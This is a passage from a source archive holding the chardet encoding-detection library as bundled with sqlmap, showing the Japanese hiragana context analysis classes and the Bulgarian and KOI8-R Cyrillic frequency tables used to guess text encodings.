(0,0,0,3,0,5,0,0,0,0,1,0,2,0,3,1,0,1,3,0,0,0,2,0,0,0,1,0,0,0,1,1,0,0,4,0,0,0,2,3,0,1,4,1,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,3,0,0,0,0,0,1,0,0,0,0,0,0,0,2,0,0,3,0,0,0,0,0,3), (0,2,0,5,0,5,0,1,0,2,4,3,3,2,5,1,3,2,3,3,3,0,4,1,2,0,3,0,4,0,2,2,1,1,5,3,0,0,1,4,2,3,2,0,3,3,3,2,0,2,4,1,1,2,0,1,1,0,3,1,0,1,3,1,2,3,0,2,0,0,0,1,3,5,4,4,4,0,3,0,0,1,3), (0,4,0,5,0,4,0,4,0,4,5,4,3,3,4,3,3,3,4,3,4,4,5,3,4,5,4,2,4,2,3,4,3,1,4,4,1,3,5,4,4,5,5,4,4,5,5,5,2,3,3,1,4,3,1,3,3,0,3,3,1,4,3,4,4,4,0,3,0,4,0,3,3,4,4,5,0,0,4,3,0,4,5), (0,4,0,4,0,3,0,3,0,3,4,4,4,3,3,2,4,3,4,3,4,3,5,3,4,3,2,1,4,2,4,4,3,1,3,4,2,4,5,5,3,4,5,4,1,5,4,3,0,3,2,2,3,2,1,3,1,0,3,3,3,5,3,3,3,5,4,4,2,3,3,4,3,3,3,2,1,0,3,2,1,4,3), (0,4,0,5,0,4,0,3,0,3,5,5,3,2,4,3,4,0,5,4,4,1,4,4,4,3,3,3,4,3,5,5,2,3,3,4,1,2,5,5,3,5,5,2,3,5,5,4,0,3,2,0,3,3,1,1,5,1,4,1,0,4,3,2,3,5,0,4,0,3,0,5,4,3,4,3,0,0,4,1,0,4,4), (1,3,0,4,0,2,0,2,0,2,5,5,3,3,3,3,3,0,4,2,3,4,4,4,3,4,0,0,3,4,5,4,3,3,3,3,2,5,5,4,5,5,5,4,3,5,5,5,1,3,1,0,1,0,0,3,2,0,4,2,0,5,2,3,2,4,1,3,0,3,0,4,5,4,5,4,3,0,4,2,0,5,4), (0,3,0,4,0,5,0,3,0,3,4,4,3,2,3,2,3,3,3,3,3,2,4,3,3,2,2,0,3,3,3,3,3,1,3,3,3,0,4,4,3,4,4,1,1,4,4,2,0,3,1,0,1,1,0,4,1,0,2,3,1,3,3,1,3,4,0,3,0,1,0,3,1,3,0,0,1,0,2,0,0,4,4), (0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0), (0,3,0,3,0,2,0,3,0,1,5,4,3,3,3,1,4,2,1,2,3,4,4,2,4,4,5,0,3,1,4,3,4,0,4,3,3,3,2,3,2,5,3,4,3,2,2,3,0,0,3,0,2,1,0,1,2,0,0,0,0,2,1,1,3,1,0,2,0,4,0,3,4,4,4,5,2,0,2,0,0,1,3), (0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,1,0,0,0,4,2,1,1,0,1,0,3,2,0,0,3,1,1,1,2,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3,0,1,0,0,0,2,0,0,0,1,4,0,4,2,1,0,0,0,0,0,1), (0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,3,1,0,0,0,2,0,2,1,0,0,1,2,1,0,1,1,0,0,3,0,0,0,0,0,0,0,0,0,0,0,1,3,1,0,0,0,0,0,1,0,0,2,1,0,0,0,0,0,0,0,0,2), (0,4,0,4,0,4,0,3,0,4,4,3,4,2,4,3,2,0,4,4,4,3,5,3,5,3,3,2,4,2,4,3,4,3,1,4,0,2,3,4,4,4,3,3,3,4,4,4,3,4,1,3,4,3,2,1,2,1,3,3,3,4,4,3,3,5,0,4,0,3,0,4,3,3,3,2,1,0,3,0,0,3,3), (0,4,0,3,0,3,0,3,0,3,5,5,3,3,3,3,4,3,4,3,3,3,4,4,4,3,3,3,3,4,3,5,3,3,1,3,2,4,5,5,5,5,4,3,4,5,5,3,2,2,3,3,3,3,2,3,3,1,2,3,2,4,3,3,3,4,0,4,0,2,0,4,3,2,2,1,2,0,3,0,0,4,1), ) class JapaneseContextAnalysis: def __init__(self): self.reset() def reset(self): self._mTotalRel = 0 # total sequence received # category counters, each interger counts sequence in its category self._mRelSample = [0] * NUM_OF_CATEGORY # if last byte in current buffer is not the last byte of a character, # we need to know how many bytes to skip in next buffer self._mNeedToSkipCharNum = 0 self._mLastCharOrder = -1 # The order of previous char # If this flag is set to True, detection is done and conclusion has # been made self._mDone = False def feed(self, aBuf, aLen): if self._mDone: return # The buffer we got is byte oriented, and a character may span in more than one # buffers. In case the last one or two byte in last buffer is not # complete, we record how many byte needed to complete that character # and skip these bytes here. We can choose to record those bytes as # well and analyse the character once it is complete, but since a # character will not make much difference, by simply skipping # this character will simply our logic and improve performance. i = self._mNeedToSkipCharNum while i < aLen: order, charLen = self.get_order(aBuf[i:i + 2]) i += charLen if i > aLen: self._mNeedToSkipCharNum = i - aLen self._mLastCharOrder = -1 else: if (order != -1) and (self._mLastCharOrder != -1): self._mTotalRel += 1 if self._mTotalRel > MAX_REL_THRESHOLD: self._mDone = True break self._mRelSample[jp2CharContext[self._mLastCharOrder][order]] += 1 self._mLastCharOrder = order def got_enough_data(self): return self._mTotalRel > ENOUGH_REL_THRESHOLD def get_confidence(self): # This is just one way to calculate confidence. It works well for me. if self._mTotalRel > MINIMUM_DATA_THRESHOLD: return (self._mTotalRel - self._mRelSample[0]) / self._mTotalRel else: return DONT_KNOW def get_order(self, aBuf): return -1, 1 class SJISContextAnalysis(JapaneseContextAnalysis): def __init__(self): self.charset_name = "SHIFT_JIS" def get_charset_name(self): return self.charset_name def get_order(self, aBuf): if not aBuf: return -1, 1 # find out current char's byte length first_char = wrap_ord(aBuf[0]) if ((0x81 <= first_char <= 0x9F) or (0xE0 <= first_char <= 0xFC)): charLen = 2 if (first_char == 0x87) or (0xFA <= first_char <= 0xFC): self.charset_name = "CP932" else: charLen = 1 # return its order if it is hiragana if len(aBuf) > 1: second_char = wrap_ord(aBuf[1]) if (first_char == 202) and (0x9F <= second_char <= 0xF1): return second_char - 0x9F, charLen return -1, charLen class EUCJPContextAnalysis(JapaneseContextAnalysis): def get_order(self, aBuf): if not aBuf: return -1, 1 # find out current char's byte length first_char = wrap_ord(aBuf[0]) if (first_char == 0x8E) or (0xA1 <= first_char <= 0xFE): charLen = 2 elif first_char == 0x8F: charLen = 3 else: charLen = 1 # return its order if it is hiragana if len(aBuf) > 1: second_char = wrap_ord(aBuf[1]) if (first_char == 0xA4) and (0xA1 <= second_char <= 0xF3): return second_char - 0xA1, charLen return -1, charLen # flake8: noqa sqlmap-1.2.4/thirdparty/chardet/langbulgarianmodel.py000066400000000000000000000307601326012263700230300ustar00rootroot00000000000000######################## BEGIN LICENSE BLOCK ######################## # The Original Code is Mozilla Communicator client code. # # The Initial Developer of the Original Code is # Netscape Communications Corporation. # Portions created by the Initial Developer are Copyright (C) 1998 # the Initial Developer. All Rights Reserved. # # Contributor(s): # Mark Pilgrim - port to Python # # This library is free software; you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. # # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA # 02110-1301 USA ######################### END LICENSE BLOCK ######################### # 255: Control characters that usually does not exist in any text # 254: Carriage/Return # 253: symbol (punctuation) that does not belong to word # 252: 0 - 9 # Character Mapping Table: # this table is modified base on win1251BulgarianCharToOrderMap, so # only number <64 is sure valid Latin5_BulgarianCharToOrderMap = ( 255,255,255,255,255,255,255,255,255,255,254,255,255,254,255,255, # 00 255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, # 10 253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,253, # 20 252,252,252,252,252,252,252,252,252,252,253,253,253,253,253,253, # 30 253, 77, 90, 99,100, 72,109,107,101, 79,185, 81,102, 76, 94, 82, # 40 110,186,108, 91, 74,119, 84, 96,111,187,115,253,253,253,253,253, # 50 253, 65, 69, 70, 66, 63, 68,112,103, 92,194,104, 95, 86, 87, 71, # 60 116,195, 85, 93, 97,113,196,197,198,199,200,253,253,253,253,253, # 70 194,195,196,197,198,199,200,201,202,203,204,205,206,207,208,209, # 80 210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225, # 90 81,226,227,228,229,230,105,231,232,233,234,235,236, 45,237,238, # a0 31, 32, 35, 43, 37, 44, 55, 47, 40, 59, 33, 46, 38, 36, 41, 30, # b0 39, 28, 34, 51, 48, 49, 53, 50, 54, 57, 61,239, 67,240, 60, 56, # c0 1, 18, 9, 20, 11, 3, 23, 15, 2, 26, 12, 10, 14, 6, 4, 13, # d0 7, 8, 5, 19, 29, 25, 22, 21, 27, 24, 17, 75, 52,241, 42, 16, # e0 62,242,243,244, 58,245, 98,246,247,248,249,250,251, 91,252,253, # f0 ) win1251BulgarianCharToOrderMap = ( 255,255,255,255,255,255,255,255,255,255,254,255,255,254,255,255, # 00 255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, # 10 253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,253, # 20 252,252,252,252,252,252,252,252,252,252,253,253,253,253,253,253, # 30 253, 77, 90, 99,100, 72,109,107,101, 79,185, 81,102, 76, 94, 82, # 40 110,186,108, 91, 74,119, 84, 96,111,187,115,253,253,253,253,253, # 50 253, 65, 69, 70, 66, 63, 68,112,103, 92,194,104, 95, 86, 87, 71, # 60 116,195, 85, 93, 97,113,196,197,198,199,200,253,253,253,253,253, # 70 206,207,208,209,210,211,212,213,120,214,215,216,217,218,219,220, # 80 221, 78, 64, 83,121, 98,117,105,222,223,224,225,226,227,228,229, # 90 88,230,231,232,233,122, 89,106,234,235,236,237,238, 45,239,240, # a0 73, 80,118,114,241,242,243,244,245, 62, 58,246,247,248,249,250, # b0 31, 32, 35, 43, 37, 44, 55, 47, 40, 59, 33, 46, 38, 36, 41, 30, # c0 39, 28, 34, 51, 48, 49, 53, 50, 54, 57, 61,251, 67,252, 60, 56, # d0 1, 18, 9, 20, 11, 3, 23, 15, 2, 26, 12, 10, 14, 6, 4, 13, # e0 7, 8, 5, 19, 29, 25, 22, 21, 27, 24, 17, 75, 52,253, 42, 16, # f0 ) # Model Table: # total sequences: 100% # first 512 sequences: 96.9392% # first 1024 sequences:3.0618% # rest sequences: 0.2992% # negative sequences: 0.0020% BulgarianLangModel = ( 0,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,2,3,3,3,3,3,3,3,3,2,3,3,3,3,3, 3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,0,3,3,3,2,2,3,2,2,1,2,2, 3,1,3,3,2,3,3,3,3,3,3,3,3,3,3,3,3,0,3,3,3,3,3,3,3,3,3,3,0,3,0,1, 0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1, 3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,2,3,2,3,3,3,3,3,3,3,3,0,3,1,0, 0,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1, 3,2,2,2,3,3,3,3,3,3,3,3,3,3,3,3,3,1,3,2,3,3,3,3,3,3,3,3,0,3,0,0, 0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 3,2,3,3,2,3,3,3,3,3,3,3,3,3,3,3,3,1,3,2,3,3,3,3,3,3,3,3,0,3,0,0, 0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 3,3,3,3,3,3,3,3,3,3,3,2,3,2,2,1,3,3,3,3,2,2,2,1,1,2,0,1,0,1,0,0, 0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,1, 3,3,3,3,3,3,3,2,3,2,2,3,3,1,1,2,3,3,2,3,3,3,3,2,1,2,0,2,0,3,0,0, 0,0,0,0,0,0,0,1,0,0,2,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,1, 3,3,3,3,3,3,3,1,3,3,3,3,3,2,3,2,3,3,3,3,3,2,3,3,1,3,0,3,0,2,0,0, 0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1, 3,3,3,3,3,3,3,3,1,3,3,2,3,3,3,1,3,3,2,3,2,2,2,0,0,2,0,2,0,2,0,0, 0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,1, 3,3,3,3,3,3,3,3,3,0,3,3,3,2,2,3,3,3,1,2,2,3,2,1,1,2,0,2,0,0,0,0, 1,0,0,0,0,0,0,0,0,0,2,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1, 3,3,3,3,3,3,3,2,3,3,1,2,3,2,2,2,3,3,3,3,3,2,2,3,1,2,0,2,1,2,0,0, 0,0,0,0,0,0,0,0,0,0,3,0,0,1,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,1, 3,3,3,3,3,1,3,3,3,3,3,2,3,3,3,2,3,3,2,3,2,2,2,3,1,2,0,1,0,1,0,0, 0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1, 3,3,3,3,3,3,3,3,3,3,3,1,1,1,2,2,1,3,1,3,2,2,3,0,0,1,0,1,0,1,0,0, 0,0,0,1,0,0,0,0,1,0,2,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1, 3,3,3,3,3,2,2,3,2,2,3,1,2,1,1,1,2,3,1,3,1,2,2,0,1,1,1,1,0,1,0,0, 0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1, 3,3,3,3,3,1,3,2,2,3,3,1,2,3,1,1,3,3,3,3,1,2,2,1,1,1,0,2,0,2,0,1, 0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1, 3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,1,2,2,3,3,3,2,2,1,1,2,0,2,0,1,0,0, 0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1, 3,0,1,2,1,3,3,2,3,3,3,3,3,2,3,2,1,0,3,1,2,1,2,1,2,3,2,1,0,1,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 1,1,1,2,3,3,3,3,3,3,3,3,3,3,3,3,0,0,3,1,3,3,2,3,3,2,2,2,0,1,0,0, 0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 2,3,3,3,3,0,3,3,3,3,3,2,1,1,2,1,3,3,0,3,1,1,1,1,3,2,0,1,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1, 3,3,2,2,2,3,3,3,3,3,3,3,3,3,3,3,1,1,3,1,3,3,2,3,2,2,2,3,0,2,0,0, 0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 3,3,3,3,3,2,3,3,2,2,3,2,1,1,1,1,1,3,1,3,1,1,0,0,0,1,0,0,0,1,0,0, 0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0, 3,3,3,3,3,2,3,2,0,3,2,0,3,0,2,0,0,2,1,3,1,0,0,1,0,0,0,1,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1, 3,3,3,3,2,1,1,1,1,2,1,1,2,1,1,1,2,2,1,2,1,1,1,0,1,1,0,1,0,1,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1, 3,3,3,3,2,1,3,1,1,2,1,3,2,1,1,0,1,2,3,2,1,1,1,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 2,3,3,3,3,2,2,1,0,1,0,0,1,0,0,0,2,1,0,3,0,0,1,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1, 3,3,3,2,3,2,3,3,1,3,2,1,1,1,2,1,1,2,1,3,0,1,0,0,0,1,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 3,1,1,2,2,3,3,2,3,2,2,2,3,1,2,2,1,1,2,1,1,2,2,0,1,1,0,1,0,2,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 3,3,3,3,2,1,3,1,0,2,2,1,3,2,1,0,0,2,0,2,0,1,0,0,0,0,0,0,0,1,0,0, 0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1, 3,3,3,3,3,3,1,2,0,2,3,1,2,3,2,0,1,3,1,2,1,1,1,0,0,1,0,0,2,2,2,3, 2,2,2,2,1,2,1,1,2,2,1,1,2,0,1,1,1,0,0,1,1,0,0,1,1,0,0,0,1,1,0,1, 3,3,3,3,3,2,1,2,2,1,2,0,2,0,1,0,1,2,1,2,1,1,0,0,0,1,0,1,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,1, 3,3,2,3,3,1,1,3,1,0,3,2,1,0,0,0,1,2,0,2,0,1,0,0,0,1,0,1,2,1,2,2, 1,1,1,1,1,1,1,2,2,2,1,1,1,1,1,1,1,0,1,2,1,1,1,0,0,0,0,0,1,1,0,0, 3,1,0,1,0,2,3,2,2,2,3,2,2,2,2,2,1,0,2,1,2,1,1,1,0,1,2,1,2,2,2,1, 1,1,2,2,2,2,1,2,1,1,0,1,2,1,2,2,2,1,1,1,0,1,1,1,1,2,0,1,0,0,0,0, 2,3,2,3,3,0,0,2,1,0,2,1,0,0,0,0,2,3,0,2,0,0,0,0,0,1,0,0,2,0,1,2, 2,1,2,1,2,2,1,1,1,2,1,1,1,0,1,2,2,1,1,1,1,1,0,1,1,1,0,0,1,2,0,0, 3,3,2,2,3,0,2,3,1,1,2,0,0,0,1,0,0,2,0,2,0,0,0,1,0,1,0,1,2,0,2,2, 1,1,1,1,2,1,0,1,2,2,2,1,1,1,1,1,1,1,0,1,1,1,0,0,0,0,0,0,1,1,0,0, 2,3,2,3,3,0,0,3,0,1,1,0,1,0,0,0,2,2,1,2,0,0,0,0,0,0,0,0,2,0,1,2, 2,2,1,1,1,1,1,2,2,2,1,0,2,0,1,0,1,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0, 3,3,3,3,2,2,2,2,2,0,2,1,1,1,1,2,1,2,1,1,0,2,0,1,0,1,0,0,2,0,1,2, 1,1,1,1,1,1,1,2,2,1,1,0,2,0,1,0,2,0,0,1,1,1,0,0,2,0,0,0,1,1,0,0, 2,3,3,3,3,1,0,0,0,0,0,0,0,0,0,0,2,0,0,1,1,0,0,0,0,0,0,1,2,0,1,2, 2,2,2,1,1,2,1,1,2,2,2,1,2,0,1,1,1,1,1,1,0,1,1,1,1,0,0,1,1,1,0,0, 2,3,3,3,3,0,2,2,0,2,1,0,0,0,1,1,1,2,0,2,0,0,0,3,0,0,0,0,2,0,2,2, 1,1,1,2,1,2,1,1,2,2,2,1,2,0,1,1,1,0,1,1,1,1,0,2,1,0,0,0,1,1,0,0, 2,3,3,3,3,0,2,1,0,0,2,0,0,0,0,0,1,2,0,2,0,0,0,0,0,0,0,0,2,0,1,2, 1,1,1,2,1,1,1,1,2,2,2,0,1,0,1,1,1,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0, 3,3,2,2,3,0,1,0,1,0,0,0,0,0,0,0,1,1,0,3,0,0,0,0,0,0,0,0,1,0,2,2, 1,1,1,1,1,2,1,1,2,2,1,2,2,1,0,1,1,1,1,1,0,1,0,0,1,0,0,0,1,1,0,0, 3,1,0,1,0,2,2,2,2,3,2,1,1,1,2,3,0,0,1,0,2,1,1,0,1,1,1,1,2,1,1,1, 1,2,2,1,2,1,2,2,1,1,0,1,2,1,2,2,1,1,1,0,0,1,1,1,2,1,0,1,0,0,0,0, 2,1,0,1,0,3,1,2,2,2,2,1,2,2,1,1,1,0,2,1,2,2,1,1,2,1,1,0,2,1,1,1, 1,2,2,2,2,2,2,2,1,2,0,1,1,0,2,1,1,1,1,1,0,0,1,1,1,1,0,1,0,0,0,0, 2,1,1,1,1,2,2,2,2,1,2,2,2,1,2,2,1,1,2,1,2,3,2,2,1,1,1,1,0,1,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 2,2,2,3,2,0,1,2,0,1,2,1,1,0,1,0,1,2,1,2,0,0,0,1,1,0,0,0,1,0,0,2, 1,1,0,0,1,1,0,1,1,1,1,0,2,0,1,1,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0, 2,0,0,0,0,1,2,2,2,2,2,2,2,1,2,1,1,1,1,1,1,1,0,1,1,1,1,1,2,1,1,1, 1,2,2,2,2,1,1,2,1,2,1,1,1,0,2,1,2,1,1,1,0,2,1,1,1,1,0,1,0,0,0,0, 3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0, 1,1,0,1,0,1,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 2,2,2,3,2,0,0,0,0,1,0,0,0,0,0,0,1,1,0,2,0,0,0,0,0,0,0,0,1,0,1,2, 1,1,1,1,1,1,0,0,2,2,2,2,2,0,1,1,0,1,1,1,1,1,0,0,1,0,0,0,1,1,0,1, 2,3,1,2,1,0,1,1,0,2,2,2,0,0,1,0,0,1,1,1,1,0,0,0,0,0,0,0,1,0,1,2, 1,1,1,1,2,1,1,1,1,1,1,1,1,0,1,1,0,1,0,1,0,1,0,0,1,0,0,0,0,1,0,0, 2,2,2,2,2,0,0,2,0,0,2,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,2,0,2,2, 1,1,1,1,1,0,0,1,2,1,1,0,1,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0, 1,2,2,2,2,0,0,2,0,1,1,0,0,0,1,0,0,2,0,2,0,0,0,0,0,0,0,0,0,0,1,1, 0,0,0,1,1,1,1,1,1,1,1,1,1,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0, 1,2,2,3,2,0,0,1,0,0,1,0,0,0,0,0,0,1,0,2,0,0,0,1,0,0,0,0,0,0,0,2, 1,1,0,0,1,0,0,0,1,1,0,0,1,0,1,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0, 2,1,2,2,2,1,2,1,2,2,1,1,2,1,1,1,0,1,1,1,1,2,0,1,0,1,1,1,1,0,1,1, 1,1,2,1,1,1,1,1,1,0,0,1,2,1,1,1,1,1,1,0,0,1,1,1,0,0,0,0,0,0,0,0, 1,0,0,1,3,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 2,2,2,2,1,0,0,1,0,2,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,2,0,0,1, 0,2,0,1,0,0,1,1,2,0,1,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0, 1,2,2,2,2,0,1,1,0,2,1,0,1,1,1,0,0,1,0,2,0,1,0,0,0,0,0,0,0,0,0,1, 0,1,0,0,1,0,0,0,1,1,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0, 2,2,2,2,2,0,0,1,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1, 0,1,0,1,1,1,0,0,1,1,1,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0, 2,0,1,0,0,1,2,1,1,1,1,1,1,2,2,1,0,0,1,0,1,0,0,0,0,1,1,1,1,0,0,0, 1,1,2,1,1,1,1,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 2,2,1,2,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1, 0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 1,0,0,1,2,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0, 0,1,1,0,1,1,1,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0, 1,0,1,0,0,1,1,1,1,1,1,1,1,1,1,1,0,0,1,0,2,0,0,2,0,1,0,0,1,0,0,1, 1,1,0,0,1,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0, 1,1,1,1,1,1,1,2,0,0,0,0,0,0,2,1,0,1,1,0,0,1,1,1,0,1,0,0,0,0,0,0, 2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 1,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,0,1,1,0,1,1,1,1,1,0,1,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1, ) Latin5BulgarianModel = { 'charToOrderMap': Latin5_BulgarianCharToOrderMap, 'precedenceMatrix': BulgarianLangModel, 'mTypicalPositiveRatio': 0.969392, 'keepEnglishLetter': False, 'charsetName': "ISO-8859-5" } Win1251BulgarianModel = { 'charToOrderMap': win1251BulgarianCharToOrderMap, 'precedenceMatrix': BulgarianLangModel, 'mTypicalPositiveRatio': 0.969392, 'keepEnglishLetter': False, 'charsetName': "windows-1251" } # flake8: noqa sqlmap-1.2.4/thirdparty/chardet/langcyrillicmodel.py000066400000000000000000000424751326012263700227040ustar00rootroot00000000000000######################## BEGIN LICENSE BLOCK ######################## # The Original Code is Mozilla Communicator client code. # # The Initial Developer of the Original Code is # Netscape Communications Corporation. # Portions created by the Initial Developer are Copyright (C) 1998 # the Initial Developer. All Rights Reserved. # # Contributor(s): # Mark Pilgrim - port to Python # # This library is free software; you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. # # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA # 02110-1301 USA ######################### END LICENSE BLOCK ######################### # KOI8-R language model # Character Mapping Table: KOI8R_CharToOrderMap = ( 255,255,255,255,255,255,255,255,255,255,254,255,255,254,255,255, # 00 255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, # 10 253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,253, # 20 252,252,252,252,252,252,252,252,252,252,253,253,253,253,253,253, # 30 253,142,143,144,145,146,147,148,149,150,151,152, 74,153, 75,154, # 40 155,156,157,158,159,160,161,162,163,164,165,253,253,253,253,253, # 50 253, 71,172, 66,173, 65,174, 76,175, 64,176,177, 77, 72,178, 69, # 60 67,179, 78, 73,180,181, 79,182,183,184,185,253,253,253,253,253, # 70 191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206, # 80 207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222, # 90 223,224,225, 68,226,227,228,229,230,231,232,233,234,235,236,237, # a0 